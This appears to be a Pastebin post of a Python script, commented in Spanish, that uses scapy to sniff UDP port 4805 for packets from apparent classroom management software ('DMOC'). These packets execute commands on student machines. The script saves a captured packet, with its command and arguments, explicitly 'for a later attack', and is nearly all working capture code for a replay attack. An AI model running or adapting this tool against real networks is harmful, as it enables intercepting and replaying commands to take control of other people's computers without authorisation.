Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- """ Sniffea la red en busca de paquetes DMOC, que ejecutan comandos en alumnos.
- Cuando los encuentra, los almacena para un posterior ataque """
- # Usamos la librería scapy para sniffear
- from scapy.all import *
- # Para procesar argumentos
- import sys, getopt
- filename = 'packet'
- def process(packet):
- """ La función se invoca pasándole como argumento un paquete UDP """
- global filename
- # Verificamos que el paquete sea DMOC
- if packet.load[:4] == 'DMOC' and len(packet)==948:
- data = packet.load
- cmd = data[60:]
- i = cmd.find('\x00\x00')
- cmd = cmd[:i]
- args = data[572:]
- i = args.find('\x00\x00')
- args = args[:i]
- f = open(filename,'w')
- f.write(data)
- f.close()
- print cmd, args, 'guardado en', filename
- exit()
- def uso():
- print 'Uso:', sys.argv[0],'[-o foobar]'
- exit()
- def main():
- global filename
- try:
- opt, args = getopt.getopt(sys.argv[1:], 'o:')
- except getopt.GetoptError:
- uso()
- for op,val in opt:
- if op=='-o':
- filename = val
- sniff(prn=process, filter="udp and port 4805")
- if(__name__ == '__main__'):
- main()
Advertisement
Add Comment
Please, Sign In to add comment